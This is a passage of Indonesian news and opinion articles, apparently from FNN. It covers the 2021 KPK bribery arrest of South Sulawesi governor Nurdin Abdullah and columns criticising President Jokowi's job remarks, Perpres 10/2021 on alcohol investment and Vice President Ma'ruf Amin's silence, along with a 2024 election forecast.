Karena bapak saat itu sedang istirahat. Seperti yang kita tahu, OTT adalah orang yang tertangkap tangan dan bapak tidak sedang melakukan itu,” ujar Vero, seperti dilaporkan Antara. Terkait keberangkatan Nurdin Abdullah ke Jakarta itu, Vero menyebut Nurdin pergi atas permintaan KPK untuk menyampaikan keterangan selaku saksi. Nurdin disebut hanya membawa pakaian secukupnya. Menurut Vero, petugas KPK datang ke Rumah Jabatan Gubernur sekitar pukul 01.00 dini hari. Kemudian Nurdin Abdullah dibangunkan dan menemui pihak KPK yang datang. Itu mengagetkan karena sebelumnya tidak ada surat apapun mengenai permintaan keterangan. “Mereka diterima baik di Rujab Gubernur dan bapak pun dengan sikap patriotisme mengikuti tim KPK. Tidak ada barang bukti sama sekali pada saat bapak dijemput oleh KPK, hanya membawa pakaian secukupnya,” ungkapnya. Menurut Ketua KPK Firli Bahuri, kegiatan OTT berawal dari informasi masyarakat terkait adanya dugaan terjadinya penerimaan sejumlah uang oleh penyelenggara negara pada Jumat (26/2/2021) malam. KPK menerima laporan bahwa Direktur PT Agung Perdana Bulukumba, Agung Sucipto (AS) akan memberikan sejumlah uang kepada Nurdin melalui perantara Sekretaris Dinas PUTR Provinsi Sulsel, Edy Rahmat (ER), yang juga orang kepercayaan Nurdin. Pukul 20.24 WIB, AS bersama Irfandi (Sopir ER) menuju ke salah satu rumah makan di Makassar dan setiba di rumah makan tersebut telah ada ER yang telah menunggu,” kata Firli dalam konferensi pers yang disiarkan kanal YouTube KPK, Minggu (28/2/2021) dini hari. Agung adalah seorang kontraktor yang berasal dari pihak swasta, yang diketahui telah lama mengenal Nurdin. Agung berkeinginan mendapatkan beberapa proyek pekerjaan infrastruktur di Sulawesi Selatan Tahun Anggaran 2021. Firli mengungkapkan, dengan beriringan mobil, Irfandi mengemudikan mobil milik Edy, sedangkan Agung dan Edy bersama dalam satu mobil milik Agung. Kedua mobil itu pun kemudian bergerak menuju Jalan Hasanuddin Makassar, Sulawesi Selatan. Dalam perjalanan tersebut, Agung diketahui menyerahkan proposal terkait beberapa proyek pekerjaan infrastruktur di Kabupaten Sinjai, Sulawesi Selatan Tahun Anggaran 2021 kepada Edy. Sekitar pukul 21.00 WIB, Irfandi kemudian mengambil koper yang diduga berisi uang dari dalam mobil milik AS dan dipindahkan ke bagasi mobil milik Edy di Jalan Hasanuddin. Firli mengungkapkan, sekitar pukul 23.00 Wita, KPK mengamankan Agung ketika dalam perjalanan menuju Bulukumba. Sementara itu, satu jam berikutnya giliran Edy beserta uang dalam koper sejumlah sekitar Rp 2 miliar turut diamankan KPK di rumah dinasnya. Adapun uang Rp 2 miliar itu sebelumnya akan diberikan Edy kepada Nurdin Abdullah. Kemudian, Gubernur Sulsel Nurdin Abdullah diamankan KPK sekitar pukul 02.00 Wita di rumah jabatan dinas Gubernur Sulsel. Adapun Nurdin diduga juga telah menerima uang dari kontraktor lain diantaranya sebesar Rp 200 juta pada akhir 2020. Nurdin juga diduga menerima uang pada pertengahan Februari 2021 melalui Samsul Bahri, ajudannya, sebesar Rp 1 miliar. “Awal Februari 2021, NA melalui SB menerima uang Rp 2,2 miliar,” terang Firli. Atas dugaan tersebut, Nurdin dan Edy disangkakan sebagai penerima. Nurdin disangkakan melanggar Pasal 12 huruf a atau Pasal 12 huruf b atau Pasal 11 dan Pasal 12B UU Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan UU Nomor 20 Tahun 2001 tentang Perubahan Atas UU Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi Jo Pasal 55 ayat 1 ke 1 KUHP. Sebagai pemberi, Agung Sucipto disangkakan melanggar Pasal 5 ayat (1) huruf a atau Pasal 5 ayat (1) huruf b atau Pasal 13 UU Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan UU Nomor 20 Tahun 2001 tentang Perubahan Atas UUU Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi Jo Pasal 55 ayat 1 ke 1 KUHP. Versi JATAM Ada pertanyaan menarik dari seorang wartawan saat Ketua KPK Firli Bahuri jumpa pers soal PT Banteng Laut Indonesia dan PT Nugraha Indonesia Timur. Kedua perusahaan ini tercatat dimiliki oleh orang-orang dekat gubernur Sulsel. Dua perusahaan itu juga pernah disebut-sebut dalam tulisan Jaringan Advokasi Tambang di Jatam.org. JATAM menelusuri sejumlah dokumen dari Ditjen AHU Kemenkumham RI dan akta perusahaan yang tercantum di dokumen AMDAL. Dari total 12 izin usaha pertambangan yang beroperasi di perairan Takalar, dua diantaranya adalah PT Banteng Laut Indonesia dan PT Nugraha Indonesia Timur. Dua perusahaan ini tercatat dimiliki oleh orang-orang dekat gubernur Sulsel Nurdin Abdullah. PT Banteng Laut Indonesia merupakan pemilik konsesi, tempat PT Boskalis Internasional Indonesia menambang pasir, yaang pemilik/pemegang sahamnya, antara lain Akbar Nugraha sebagai Direktur Utama, Sunny Tanuwijaya sebagai Komisaris, Abil Iksan sebagai Direktur, dan Yoga Gumelar Wietdhianto. Selain Akbar Nugraha dan Abil Iksan, nama Fahmi Islami juga tercatat sebagai pemegang saham di PT Banteng Laut Indonesia. Sementara di PT Nugraha Indonesia Timur, Abil Iksan juga tercatat sebagai Direktur, Akbar Nugraha sebagai Wakil Direktur, dan Kendrik Wisan sebagai Komisaris. Nama-nama seperti Akbar Nugraha, Abil Iksan, dan Fahmi Islami, diketahui pernah menjadi bagian dari Tim Lebah Pemenangan Pasangan Nurdin Abdullah – Andi Sudirman Sulaiman. Pasangan ini diusung PDIP, PKS, dan PAN pada Pilgub Sulsel 2018 lalu. Selain sebagai pemilik/pemegang saham di perusahaan tambang, Akbar Nugraha — yang diketahui teman seangkatan dengan anak Nurdin Abdullah, Fathul Fauzi Nurdin di Binus University – juga ditunjuk sebagai Ketua Badan Promosi Pariwisata Daerah (BPPD) oleh Nurdin Abdullah sejak 2018 sampai sekarang, usai terpilih menjadi gubernur Sulsel. Sementara Fahmi Islami, tercatat sebagai Staf Khusus Gubernur Nurdin Abdullah. Selain itu, Fahmi Islami juga juga menjadi bagian dari Tim Percepatan Pembangunan Daerah (TP2D) Provinsi Sulsel. Sejumlah nama lain juga berada di balik kedua perusahaan tambang di atas. Seperti Sunny Tanuwidjaja dan Kendik Wisan. Sunny Tanuwidjaja tercatat sebagai Komisaris Utama di PT Banteng Lautan Indonesia. Sunny Tanuwidjaja adalah mantan staf khusus Pemprov DKI Jakarta semasa kepemimpinan Basuki Tjahaja Purnama alias Ahok, yang tercatat sebagai Sekretaris Dewan Pembina PSI. Sunny Tanuwidjaja juga pernah dikaitkan dengan kasus suap anggota DPRD Pemprov DKI Jakarta Muh Sanusi, dalam kaitan dengan reklamasi Pulau G di Pantai Utara Jakarta. Sementara Kendirk Wisan adalah pemegang saham terbesar (50%) di PT Nugraha Indonesia Timur. Kendrik diketahui sebagai pengusaha di PT Comextra Majora, bergerak di bidang eksportir kakao dan kacang mede. Pertanyaannya kemudian, akankah mereka yang terkait dengan Nurdin Abdullah juga bakal diseret, atau minimal dimintai keterangan oleh KPK? Penulis adalah Wartawan Senior FNN.co.id.

Jokowi Plintat-Plintut

BARU lima hari menyerahkan kunci lapangan kerja kepada dunia usaha. Presiden Joko Widodo kembali mengeluarkan pernyataan yang berbeda. Kamis, 25 Februari 2021, ia menjelaskan beberapa upaya yang sudah dilakukan pemerintah untuk menciptakan lapangan pekerjaan, antara lain melalui program padat karya dan belanja pemerintah. Apa yang dilakukan pemerintah itu sifatnya jangka pendek. Sedangkan penyediaan lapangan kerja oleh pengusaha bersifat jangka panjang dan berkelanjutan. Ia pun meminta bantuan pengusaha dalam membuka lapangan kerja. Padahal, Sabtu 20 Februari 2021, Joko Widodo mengatakan, kunci lapangan kerja itu bukan di pemerintah. Artinya, kunci lapangan kerja itu diserahkan kepada pelaku bisnis, terutama sektor swasta. Dengan menyerahkan kuncinya ke sektor swasta, berarti fungsi pemerintahan tidak ada lagi dalam mengurus tenaga kerja. Forum Rakyat, Senin, 22 Februari 2021 menyoroti pernyataan Joko Widodo dengan judul, "Jokowi Lempar Handuk dalam Urusan Lapangan Kerja." Tak ada angin dan tidak ada hujan, Jokowi seolah-olah meralat kalimat yang diucapkannya. Dari sebelumnya mengatakan, kunci lapangan kerja bukan di pemerintah, kemudian Jokowi meminta bantuan pengusaha dalam usaha membuka lapangan kerja itu. Sekali lagi, tidak ada yang salah dalam kedua pernyataan itu. Hanya saja ucapannya itu tetap nenjadi pertanyaan bagi banyak pihak. Kok semudah itu mengubah ucapan tentang persoalan yang sama? Kenapa dalam waktu lima hari pernyataan tentang lapangan kerja sudah berubah? Apakah dalam waktu singkat seorang presiden sudah lupa dengan ucapannya? Ataukah para pembisiknya sengaja menyampaikan kalimat yang berbeda untuk satu masalah dalam waktu yang singkat? Atau Jokowi yang plintat-plintut? Kesannya, presiden mau melempar tanggungjawab mengenai lapangan kerja yang kini semakin sempit akibat Corona Virus Disease 2019 (Covid-19). Padahal, yang dibutuhkan rakyat khususnya para pencari kerja adalah adanya kepastian untuk mencari nafkah. Rakyat membutuhkan presiden yang mengayomi, yang memberikan ketenangan, dan memberikan kepastian dalam berbagai usaha dan kegiatan. Rakyat tidak butuh presiden yang sering mengeluarkan pernyataan yang membingungkan. Rakyat tidak butuh presiden yang seringkali melemparkan tanggungjawab, yang sering menyampaikan janji palsu dan penuh dusta dan kebohongan. Sebaiknya, sebagai pemimpin Jokowi semestinya berhati-hati dalam berucap dan bertindak. Apalagi lapangan kerja merupakan persoalan yang sangat sensitif. Sebab, jika pemerintah tidak piawai dalam menanganinya, dikhawatirkan membawa persoalan baru di bidang sosial, hukum, dan ekonomi. Orang yang tidak mendapatkan pekerjaan akan melakukan jalan pintas berupa kejahatan, demi isi perut. Jadi, antara pemerintah dan pengusaha harus secara terus-menerus bersinergi dalan usaha menyediakan lapangan kerja. Okelah, pemerintah hanya mampu menyediakan pekerjaan jangka pendek, itu tidak masalah. Pengusaha untuk jangka panjang, tentu sangat bagus. Akan tetapi, pemerintah harus benar-benar melakukan fungsinya. Pemerintah menyiapkan aturan yang membuat dunia usaha nyaman dalam menjalankan bisnisnya, sehingga penyerapan lapangan kerja bisa berkelanjutan. Pemerintah juga harus melakukan fungsinya, melindungi para pekerja. Dengan demikian, pengusaha tidak semena-mena melakukan PHK atau Pemutusan Hubungan Kerja yang belakangan marak terjadi. PHK sepihak sudah banyak terjadi. Hak-hak pekerja yang terkena PHK akibat resesi ekonomi banyak yang diabaikan dan dipotong. Pekerja tidak berdaya menghadapinya. Mengadu ke Dinas Tenaga Kerja juga tidak membuahkan hasil yang diharapkan. Alasannya, karena resesi akibat Covid-19. Mengadu ke serikat pekerja perusahaan, juga mandul. Akan tetapi, alasan yang paling menyakitkan korban PHK adalah aturan yang sesuai dengan Undang-Undang Cipta Kerja sudah diterapkan sebagian pengusaha ketika memberhentikan karyawannya. Akibatnya, pesangon yang terima pekerja yang di PHK pun jauh dari yang diharapkan.**

Kemana Ya Pak Kiyai Ma'ruf Amin?

by M. Rizal Fadillah Bandung FNN - Kritik merata soal Perpres Nomor 10 Tahun 2021 Tentang Bidang Usaha Penanaman Modal (BUPM) sebagai pengejawantahan UU Omnibus Law belum mendapat respons dari Pemerintah. Presiden, Wakil Presiden, dan semua Menteri semua bungkam. Ketua Komisi VI dari Fraksi Partai Kebangkitan Bangsa (PKB) malah mendukung dengan alasan kearifan lokal. Mabuk itu nyata-nyata sebagai ketidakarifan nasional. Bukan kearifan lokal. Minuman keras yang menyebabkan mabuk jelas merusak segalanya. Ada sedikit manfaat, tetapi mudharat jauh lebih besar. Semestinya Pemerintah harus berperan menjadi penjaga moral bangsa. Mabuk, judi, prostitusi adalah deviant behavior. Mesti dicegah dan tak boleh dibiarkan dengan alasan apapun. Ketika Presiden bukan orang yang dipandang merepresentasi keagamaan, maka Wakil Presiden adalah orangnya. KH Ma'ruf Amin itu disamping sebagai Wapres, juga mantan Ketua Umum Majelis Ulama Indonesia (MUI) dan kini menjabat sebagai Ketua Dewan Pertimbangan MUI Pusat. Kiyai ini awalnya menjadi harapan penjaga moral keagamaan pada tataran kebijakan Pemerintah. Sikap dan pengetahuan keulamaannya kini ditunggu umat Islam. Sebab hingga kini nampaknya legalisasi minuman keras di empat Provinsi, yaitu Papua, Bali, Nusa Tenggara Timur (NTT) dan Sulawesi Utara (Sulit) terlihat mulus-mulus saja. Tidak ada tanda-tanda Pak Wapres yang Kiyai ini melakukan upaya pencegahan. Bicara pun tidak. Ruang amar ma'ruf nahi munkar tidak diisinya. Khawatir dengan apa yang disabdakan Nabi menjadi tidak terhindarkan, yaitu mereka yang diam saja melihat kemungkaran adalah setan bisu. Disebutkan oleh Imam Nawawi dalam Syarah Shohih Muslim bahwa "Orang yang berdiam diri dari kebenaran, maka ia adalah Syaithon Akhros (Setan bisu) dan orang yang menyampaikan kebathilan adalah Syaithon Naathiq (Setan berbicara)". Orang yang mengetahui mana yang benar dan mana salah harus menyampaikannya. Tak boleh berdiam diri. Faktor yang membuat takut, apakah itu tekanan kekuasaan, jabatan yang terancam, usaha tersendat, bahkan penjara haruslah diabaikan. Keberanian atas dasar keyakinan akan adanya pertolongan dan kemudahan dari Allah SWT haruslah didahulukan. Nah kini saatnya Pak Kiyai Wapres untuk bersikap. Jangan terus sembunyi di dinding ketidakmampuan. Eksislah Pak Kiyai. Buktikan bahwa Wapres Indonesia adalah ulama. Jangan keberadaan dan ketiadaan itu sama saja "wujuduhu ka'adamihi". Miras itu berbahaya dan haram. Membiarkannya sama saja dengan membunuh generasi muda bangsa. Pak Kiyai harus mencegah dan menasehati Pak Jokowi, agar dalam mengelola negara ini jangan hanya berfikir materialistis. Yang diprogramkan hanya duit dan duit saja. Investasi lah, infrastruktur lah yang semuanya diukur oleh duit itu. Sadarkah bahwa jika orientasi keseharian hanya urusan duit dan duit justru akan disempitkan oleh Allah Subhaanahu Wata’ala. Faktanya ambruk perekonomian dan hutang pun semakin bertumpuk dan menggunung. Ketika korupsi di sekitar istana marak, pa Kiyai diam. Ketika aktivis dan ulama dipenjara , Pak Kiyai tidak hadir membela. Saat pejuang Islam terbunuh tanpa alasan, Pak Kiyai bungkam. Dan kini urusan miras yang sangat jelas dalil larangannya, Kiyai juga sunyi senyap. Lalu apa guna status dan jabatan yang disandang? Untuk bidangnya saja tak berdaya. Pak Kiyai Ma'ruf Amin adalah bagian dari kekuasaan. Kekuasaan walau sejumput, tetapi ada di tangannya. Jika kekuasaan tidak digunakan dengan baik, maka dapat mencelakakan dirinya sendiri. Orang bijak dan berilmu jika sudah merasa tidak mampu, akan menarik diri. Mundur lebih baik dan terhormat daripada mengkhianati amanat. Pak Kiyai pasti tau dan ingat pepatah "man laa 'aba al tsu'baani fie kafihi, haihaata an yaslama min las'atihi". Artinya, barangsiapa memainkan ular di tangannya, tidak mungkin baginya untuk selamat dari gigitannya. Pak Kiyai mungkin kini sedang digigit ular. Bisanya mungkin sudah masuk merusak jiwa dan fikiran. Semoga saja iman masih bertahan. Penulis adalah Pemerhati Politik dan Kebangsaan.

Legalisasi Miras: Apa Kabar Kiyai Ma'ruf Amin?

by Asyari Usman Medan, FNN - Berdasarkan Perpres 10/2021, boleh jadi Indonesia akan menjadi produsen besar minuman keras (miras). Mengerikan sekali. Siapa saja boleh membuat dan menjual miras di empat provinsi: Bali, NTT, Sulawesi Utara, dan Papua. Langsung terbayang wajah Kiyai Ma’ruf Amin yang bersemayam di istana wakil presiden. Apa kabar, Pak Kiyai? Beliau tahu apa tidak tentang Perpres Miras ini? Mungkin saja tidak tahu. Atau, mungkin juga beliau memilih diam saja. Karena diam sama dengan emas. Semua orang paham. Pak Kiyai tak akan mampu berbuat apa-apa. Beliau hanya bisa tertegun. Kiyai Ma’ruf jelas-jelas dilecehkan oleh Perpres Miras itu. Sekarang, kita tanya langsung ke Pak Kiyai: setuju atau tidak dengan Perpres yang akan menjadikan Indonesia sebagai produsen dan pengecer miras? Sementara menunggu jawaban, kita teruskan lagi. Sangat mengherankan, hampir tidak ada suara penolakan di DPR. Tak habis pikir, apakah para anggota dewan yang terhormat sudah kehilangan akal sehat semua? Apakah mereka sudah mabuk duluan? Penolakan hanya disuarakan oleh Fraksi PKS. Kalau tak didukung fraksi-fraksi lain, PKS saja tidak cukup kuat untuk melawan Perpres berbahaya ini. Sekarang, kelihatannya masyarakat sipil-lah benteng terakhir untuk melawan Perpres Miras itu. Kelihatannya tidak realistis mengharapkan Kiyai Ma’ruf Amin dan DPR. Kita anggap saja Pak Kiyai sedang mengatur strategi. Sedang konsolidasi. Atau sedang membangun kekuatan yang mampu menghadapi skenario jahat yang bertujuan merusak umat. Para pimpinan partai politik pun sama saja. Tak bisa diharap. Semua mereka membebek. Di bawah telunjuk para penguasa dan oligarkhi.[] Penulis adalah Wartawan Senior FNN.co.id.

Pilpres 2024, Antara Yang Muda dan Yang Tua

by Tony Rosyid Jakarta FNN - Meski pilpres 2024 masih lama, sekitar tiga tahun lagi. Tetapi gaungnya sudah terasa. Bahkan terasa sejak 2019 lalu. Padahal pilpres 2019 baru juga selesai, dan presiden-wapres belum dilantik. Apa penyebabnya? Pertama, karena selisih suara dua paslon tidak terlalu besar. Artinya, kelompok yang tidak puas atas kekalahan itu cukup besar, sehingga ingin segera ada pemilu secepatnya. Padahal, pemilu masih lama. Ini risiko jika pemilu hanya diikuti dua paslon. Kedua, komunikasi kedua belah pihak yang bermasalah setelah pilpres 2019 berlalu. Meskipun Prabowo dan Sandi, paslon yang kalah di pilpres 2019 sudah merapat (dirapatkan) ke istana. Namun tidak serta merta dengan para pendukungnya. Para pendudukung masih tetap saja oposisi kepada pemerintah yang menjadi pemenang pilpres. Ketiga, aksi para buzzer dari kedua belah yang pihak ikut memelihara dan memanaskan eskalasi ketegangan dan kegaduhan di media publik. Bagaimana prediksi pilpres 2024? Nampaknya, Prabowo masih digadang-gadang oleh Gerindra untuk calon lagi. Sekali calon wapres, dua kali capres. Jika 2024 capres lagi, berarti genap tiga kali menjadi capres. Pencalonan Prabowo hanya logis jika dilihat sebagai upaya untuk menjaga suara partai Gerindra. Sebab pemilih Prabowo besar kemungkinan akan banyak yang memilih Gerindra. Lalu, bagaimana nanti peluang Prabowo sendiri di pilpres 2024? Mari kita lihat analisis elektabilitas secara teoritis. Ada tiga karakter elektabilitas berdasarkan potensinya. Pertama, ektabilitas progresif. Kedua, elektabilitas stagnan. Ketiga, elektabilitas regresi. Berdasarkan hasil survei beberapa lembaga, elektabilitas Prabowo saat ini tertinggi. Mencapai belasan persen. Sebagai catatan "saat ini" Prabowo masih tinggi. Karena di kepala publik Prabowo adalah bakal capres. Sebab, sudah dua kali nyapres. Gerindra sendiri memberi sinyal Prabowo akan nyapres lagi. Sementara tokoh lain, belum masuk arena pencapresan ini. Sehingga, kemunculan tokoh-tokoh lain masih dalam bentuk harapan publik. Berbeda jika 2022-2023, maka akan muncul tokoh-tokoh lain yang terbaca indikatornya akan nyapres. Pada saat itulah akan mulai terlihat dinamika elektabilitas itu. Tokoh tua, cenderung stagnan elektabilitasnya. Sebab, relatif tidak ada yang baru untuk dijual. Semua bahan lama, dan sudah sering dibeli oleh publik. Ada yang bertahan, tetapi tak sedikit yang sudah bosan. Apalagi jika ada faktor yang membuat publik kecewa, maka akan banyak yang meninggalkannya. Berbeda dengan pendatang baru. Pendatang baru cenderung progresif elektabilitasnya. Terutama jika menjadi rising star. Punya track record yang diapresiasi publik, dan tidak hanya berbasis pemilih psikologis dan sosiologis, tapi juga pemilih rasional. Karena pemilih rasional, meski tidak sebanyak jumlahnya dengan pemilih psikologis dan sosiologis, tetapi mampu mempengaruhi opini publik. Berbeda ceritanya jika tokoh muda dan pendatang baru itu senang memainkan hasil survei. Nah, pendatang baru yang suka memainkan survei ini masuk dalam kategori elektabilitas regresif. Tahu-tahu suah jeblok saja. Ada dua cara memainkan hasil survei. Pertama, rekayasa prosesnya. Main di sampling. Melakukan pengkondisian terhadap responden. Kira-kira, di wilayah mana yang besar pendukungnya, di situlah mereka akan ambil samplenya. Kedua, merekayasa hasil. Survei nggak ada, namun hasilnya muncul. Nah, sejumlah lembaga survei ada yang melakukan rekayasa semacam ini. Rekayasa responden dan rekayasa hasil. Tokoh yang suka main-main dengan survei biasanya keok ketika ikut kompetisi. Mereka tidak hanya membohongi publik, tetapi juga membohongi diri sendiri dan timsesnya. Kesimpulannya, tokoh-tokoh lama seperti Prabowo, juga Mega dan Jusuf Kalla (JK) jika masih penasaran untuk ikut dalam kompetisi di pilpres 2024, cenderung stagnan elektabilitasnya. Ada batas tertinggi elektabilitasnya, dan sulit untuk didorong naik. Bahan lama dan konsumen cenderung bosan. Ingin dan penasaran kepada yang baru. Sementara tokoh baru seperti Anies menduduki elektabilitas tertinggi. Baru disusul Sandiaga Uno, Ganjar Pranowo, Ridwan Kamil, Agus Harmukti Yudhoyono, Risma, dan seterusnya. Tokoh-tokoh muda ini masuk kategori progresif elektabilitasnya. Tokoh-tokoh baru berpotensi untuk didorong naik dan bersaing. Kecuali yang suka memanipulasi hasil survei. Siapa saja mereka? Nanti juga akan ketahuan menjelang atau saat pilpres. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

KAMMI Mendesak Pemerintah Cabut Perpres Investasi Miras

by Abdul Salam Jakarta FNN - Pemerintah telah membuka keran investasi industri minuman keras (miras) di Indonesia. Hal itu dituangkan dalam Peraturan Presiden (Perpres) Nomor 10 Tahun 2021 yang merupakan turunan dari UU Cipta Kerja (Cilaka). Investasi industri miras bisa di empat provinsi, yaitu Papua, Bali, Sulawesi Utara (Sulut) dan Nusa Tenggara Timur (NTT). Kebijakan pemerintah Jokowi-Ma’ruf Amin yang mengizinkan invetasi industri miras di empat provinsi tersebut lebih banyak dampak negatifnya daripada positif. Hampir dipastikan tidak ada dampak positif. Meskupun hanya diproduksi di empat provinsi, namun penyerabarannya dipastikan di seluruh wilayah Indonesia. Kerusakan moral bakal terjadi dimana-mana. Kita sama-sama tahu, banyak sekali dampak negatif dari miras. Yang paling terakhir ketika publik nasional dihebohkan oleh oknum anggota polisi yang membunuh tiga orang usai minum miras di sebuah kafe di Cingkareng Jakarta Barat. Satu diantara korban yang meninggal dunia adalah anggota TNI dari satuan Komando Strategis Angkatan Darad (Kostrad). Sekalipun inestasi miras hanya di empat provinsi, namun tidak mengurangi dampak negatifnya ke seluruh wilayah Indonesia. Dampak negatif dari industri miras ini yang patut untuk dipertimbangkan kembali oleh pemerintah. Sebab orang mabuk, jangan pernah diharapkan bisa berpikir waras. Apakah ketidakwarasan itu yang diinginkan oleh pemerintah? Masuknya investasi ke Indonesia tidak hanya diukur dengan dibangunnya industri miras di Papua, Bali NTT dan Sulut. Namun dengan kebijakan investasi industri miras itu, maka pemerintah telah membuka aibnya kepada publik. Baik kepada publik dalam negeri maupun luar negeri tentang tidak mampunya pemerintah menarik investasi asing ke Indonesia. Kondisi pemerintah ini ibarat kapal yang mau tenggelam di tengah laut. Apa saja yang ada di sekitarnya, dicoba diraih para penumpang kapal untuk menyelamatkan diri. Apakah keuangan pemerintah sekarang sudah sedemikian parah? Sehingga diperlukan investasi industri miras untuk menarik dana dari luar negeri? Apalagi setelah gagal untuk menarik dana umat Islam melalui gerakan wakaf? Jika demikian kondisinya, maka wajar kalau publik bertanya-tanya, apa saja kerjanya Menteri Kordinator Kemaritiman dan Investasi Luhut Binsar Panjaitan dan Kepala Badan Kordinasi Penanaman Modal Bahlil Lahadalia selama ini? Apakah telah gagal menarik investor luar negeri? Pemerintah terlihat seperti panik menghadapi minimnya pemerimaan kas negara, sehingga perlu menerapkan jurus mabok. Mana dan berapa banyak investasi yang telah dibawa masuk ke Indonesia ,sejak Luhut Binsar Panjaitan dan Bahlil Lahadalia menjabat Oktober 2020 lalu? Kalau tidak mampu mengemban amanat dan tugas manarik investor, mendingan mundur secara terhormat. Mundur lebih terhormat, daripada membangun industri miras di tanah air. Dampaknya sangat berbahaya bagi masa depan anak-anak bangsa. Kebijakan membangun industri miras di empat provinsi tersebut adalah wujud dari kepanikan keuangan pemerintah. Bisa saja dibaca sebagai upaya pemerintah menutupi devisit penerimaan dari pajak yang hampir mencapai Rp 1.000 triliun tahun 2020 lalu. Mungkin juga karena pemerintah sudah sulit untuk mencari pinjaman luar negeri, terutama dari negara sahabat. Kalau susah dapat pinjaman luar negeri, bisa jadi itu bentuk lain dari berkurangnya tingkat kepercayaan negara-negara sahabat kepada pemerintah Indonesia sekarang. Itu terjadi akibat dari maraknya korupsi yang hampir merata di semua lina kekuasaan negara. Korupsi itu terjadi, baik kementerian maupun lembaga pemerintah non kementerian. Wajar kalau Menteri Keuangan Sri Mulyani Indrawati mengelu dan curhat ke Intenational Monetery Fund (IMF) tenatng maraknya korupsi di Indonesia. Uangnya dicari dengan susah payah dari luar negeri. Harus meyakinkan pihak luar negeri dengan berbagai cara dan alasan. Namun begitu sampai di Indonesia, dan dialokasikan ke kementerian dan lembaga, eh malah dikorupsi. Bagaimana mau dipercara oleh investor luar negeri? Yang mau investasi, perlu untuk mikir-mikir lagi. Jangan-jangan setelah investasinya sampai Indonesia, malah dikorupsi. Terutama untuk urusan yang berkaitan dengan perizinan. Ada saja biaya itu, dan biaya ini. Pungutan itu, pengutan ini. Ujung-ujungnya malah bisa ditangkap KPK melalui OTT. Makanya lebih baik tidak usah investasi di Indonesia. Untuk itu Kesatuan Aksi Mahasiswa Muslimin Indonesia (KAMMI) mendesak Presiden Jokowi sebaiknya mencabut kembali Perpres tenteag perizinan investasi minuman keras yang diteken awal Februari 2021 lalu itu. Itu cara yang paling terhormat untuk menyelamatkan wajah pemerintah Jokowi-Ma’ruf Amin di mata komunitas keuangan internasional. Terhormat juga di dalam negeri, terutama di mata umat Islam. Berdasarkan Perpres itu, industri minuman keras dapat memperoleh investasi dari berbagai sumber. Baik dari investor asing maupun domestik. Selain itu, koperasi hingga Usaha Menengah Kecil dan Mikro (UMKM) juga dapat menyuntikkan investasi kepada industri minuman keras. Padahal dengan konsumsi minuman keras, dapat menyebabkan tingginya tindak kejahatan. Sebelum mendatangkan bahaya yang lebih besar, sebaiknya pemerintah segera mencabut saja Perpres tersebut. Apalagi sebelumnya Gubernur Papua Lukas Enembe telah mengancam akan membakar toko-toko penjual miras di Papua. Gubernur Lukas juga mengancam distributor-distributor miras agar menghentikan aktifitas mereka di seluruh wilayah Papua. Selain Majelis Ulama Indonesia (MUI), Ketua Umum Pengurus Besar Nahdlatul Ulama (PBNU) Prof. Dr. KH Said Agil Siraj juga telah menyatakan sikap menolak pebangunan industri miras di Indonesia. Tidak tertutup kemungkinan PP Muhammadiyah dan Ormas Islam akan menyatakan sikap penolakan yang sama dalam waktu dekat. Penulis adalah Ketua Bidang Kebijakan Publik Pengurus Pusat KAMMI.

Jokowi Mainkan Jurus Politik Mabuk

by M. Rizal Fadillah Bandung FNN – Peraturan Presiden (Perpres) Nomor 10 tahun 2021 tentang Bidang Usaha Penanaman Modal yang membuka pintu bisnis minuman keras (miras) di beberapa daerah adalah kebijakan nir-moral dan berbahaya. Meski hanya empat Provinsi yang diperkenankan, tetapi berdampak sangat luas. Semangatnya adalah legalisasi investasi miras di Indonesia. Negara ini sepertinya semakin materialistis dan menjauh dari agama. Jokowi tampil menjadi lokomotif sekularisasi dan penghancuran akhlak generasi bangsa. Kenyataan ni tidak boleh dibiarkan berlanjut tanpa perlawanan masyarakat. Sebab dampaknya sangat berbahaya terhadap masa depan bangsa. Masa depan anak-anak muda harapan bangsa. DPR harusnya berteriak menolak rencana jahat untuk memabukan anak-anak muda bangsa tersebut. Jangan hanya bisa membebek. Begitu juga dengan tokoh-tokoh agama dan Habaib yang berada di sekeliling Jokowi. Tentu rakyat banyak yang akan berteriak menolak. Ketika suatu sarana kemaksiatan dibuka lebar, sudah pasti terbuka banyak kemaksiatan dan kejahatan lain akan ikut. Akan muncul dampak ikutan dari berbagai macam kemaksiatan dan penyakit masyarakat. Hanya di empat propinsi sebagai tempat produksi miras itu bisa legal. Tetapi di propinsi lain akan membanjir miras secara ilegal di semua sudut kota sampai kecamatan dan desa. Akibat dari keberadaan pabrik pembuatan yang bebas dan didukung oleh Pemerintah. Mabuk adalah kondisi lemah fikiran yang menyebabkan seseorang kehilangan keseimbangan. Orang mabuk tidak akan bisa berfikir waras dan cerdas. Tak berdaya dan semua gerak dan sikapnya dapat dikategorikan sebagai "ngaco". Tak ada kreativitas dan inovasi, apalagi perencanaan dan kendali manajemen. Politik mabuk adalah berpolitik secara acak-acakan. Semaunya saja. Hanya dalam fiksi komedi Silat Cina ada kehebatan "drunken master" pendekar mabuk yang mampu mengalahkan orang sehat dan sadar. Adalah pengemis So yang menjadi guru silat jurus pendekar mabuk. Muridnya Wong Fei Hung menjadi pesilat jurus mabuk yang hebat. Arak atau minuman keras hanya berguna dalam ceritra. Dalam prakteknya, minuman keras itu merusak segalanya, baik fikiran, jiwa, jasad, materi dan lainnya. Jokowi menjalankan pemerintahan ini seperti memakai jurus mabuk. Seenaknya, gaduh serta melabrak etika, martabat, dan hak asasi rakyat. Pola kepemimpinan aneh yang sulit dimengerti. Bohong dan pencitraan menjadi bumbu yang sebenarnya membuat perut mual. Kini penyebab mabuk yaitu minuman keras yang dilegalisasi dengan Perpres. Jurus kekacauan baru atas bangsa ini telah ditemukan. Pemerintahan nyata-nyata telah menghianati negara Pancasila yang menjunjung tinggi nilai moral dan agama. Mabuk akan investasi miras telah menghalalkan segala cara. Miras pun diundang untuk meracuni anak bangsa. Tragis pemerintah ini. Dalam agama orang mabuk dilarang shalat, karena pasti bacaannya kacau-balau. "laa taqrobuush sholaata wa antum sukaaraa" (QS 4:43). Nah pemimpin 